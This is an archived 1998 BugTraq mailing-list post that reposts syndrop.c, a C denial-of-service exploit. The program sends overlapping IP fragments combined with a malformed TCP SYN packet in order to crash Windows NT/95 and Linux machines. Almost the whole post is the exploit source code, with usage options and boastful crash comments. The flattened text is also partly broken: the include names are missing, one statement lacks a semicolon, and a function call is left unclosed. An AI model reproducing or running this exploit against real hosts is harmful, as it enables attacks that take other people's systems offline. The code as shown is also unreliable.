Everhart,Glenn From: bluefish@SWIPNET.SE Sent: Thursday, April 02, 1998 10:47 AM To: BUGTRAQ@NETSPACE.ORG Subject: DOS: Teardrop mixed with a SYN - syndrop.c Found this in the alt.2600 ng... /* syndrop.c * by PineKoan * stomp on M$ SYN sequence bug and the teardrop frag fuckup at same time! * tcp instead of udp * * based on: Newtear.c * which was: Copyright (c) 1997 route|daemon9 11.3.97 * Linux/NT/95 Overlap frag bug exploit * which was: Based off of: flip.c by klepto * * Compiles on: Linux, *BSD* * gcc -O2 teardrop.c -o teardrop * OR * gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING */ #include #include #include #include #include #include #include #include #include #include #include #include #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define TCPH sizeof(struct tcphdr) /* TCP header */ #define PADDING 0x14 /* datagram frame padding for first packet */ /* JD Chan ge pad size to 20 decimal. */ #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ #define COUNT 0x11 /* Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment. * syndrop: gotta hit it at least 8 times. overflowing * some static sized buffer. fools. */ void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_frags(int, u_long, u_long, u_short, u_short, u_long, u_long); int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; u_long s_start = 0, s_end = 0; struct in_addr addr; fprintf(stderr, "syndrop by PineKoan\n"); if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) usage(argv[0]); if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { fprintf(stderr, "What the hell kind of IP address is that?\n"); exit(1); } while ((i = getopt(argc, argv, "s:t:n:S:E:")) != EOF) { switch (i) { case 's': /* source port (should be emphemeral) */ src_prt = (u_short)atoi(optarg); break; case 't': /* dest port (DNS, anyone?) */ dst_prt = (u_short)atoi(optarg); break; case 'n': /* number to send */ count = atoi(optarg); break; case 'S': /* SYN sequence start */ s_start = atoi(optarg); break; case 'E': /* SYN sequence end */ s_end = atoi(optarg); break; default : usage(argv[0]); break; /* NOTREACHED */ } } srandom((unsigned)(time((time_t)0))); if (!src_prt) src_prt = (random() % 0xffff); if (!dst_prt) dst_prt = (random() % 0xffff); if (!count) count = COUNT; fprintf(stderr, "Death on flaxen wings:\n"); addr.s_addr = src_ip; fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); addr.s_addr = dst_ip; fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); fprintf(stderr, " Amt: %5d\n", count); fprintf(stderr, "[ "); for (i = 0; i < count; i++) { send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start, s_end); fprintf(stderr, "b00m "); usleep(500); } fprintf(stderr, "]\n"); return (0); } /* * Send two IP fragments with pathological offsets. We use an implementation * independent way of assembling network packets that does not rely on any of * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). */ void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_long seq1, u_long seq2) { u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; /* * Grab some memory for our packet, align p_ptr to point at the beginning * of our packet, and then fill it with zeros. */ packet = (u_char *)malloc(IPH + UDPH + PADDING); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_TCP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* TCP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* TCP destination port */ p_ptr += 2; *((u_long *)p_ptr) = seq1; /* TCP sequence # */ p_ptr += 4; *((u_long *)p_ptr) = 0; /* ack */ p_ptr += 4; *((u_short *)p_ptr) = htons(8 + PADDING*2); /* TCP data offset */ /* Incre ases TCP total length to 48 bytes Which is too big! */ p_ptr += 2; *((u_char *)p_ptr) = TH_SYN; /* flags: mark SYN */ p_ptr += 1; *((u_short *)p_ptr) = seq2-seq1; /* window */ *((u_short *)p_ptr) = 0x44 /* checksum : this is magic value for NT , W95. dissasemble M$ C++ to see why, if you have time */ *((u_short *)p_ptr) = 0; /* urgent */ if (sendto(sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } /* We set the fragment offset to be inside of the previous packet's * payload (it overlaps inside the previous packet) but do not include * enough payload to cover complete the datagram. Just the header will * do, but to crash NT/95 machines, a bit larger of packet seems to work * better. */ p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); p_ptr += 4; /* IP offset is 6 bytes into the header */ *((u_short *)p_ptr) = FIX(MAGIC); p_ptr = &packet[24]; /* hop in to the sequence again... */ *((u_long *)p_ptr) = seq2; /* TCP sequence # */ if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } free(packet); } u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length) ; } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ] ", name); fprintf(stderr, "[ -S sequence_start] [ -E sequence_end ]\n", exit(0); } Bluefish! Icq: 611251 http://11a.home.ml.org http://bluefish.home.ml.org Proud member of the #SkAS#: Skuld Appreciation Society - the Goddess of Debuggers! http://www.luc.ac.be/~ef00/skas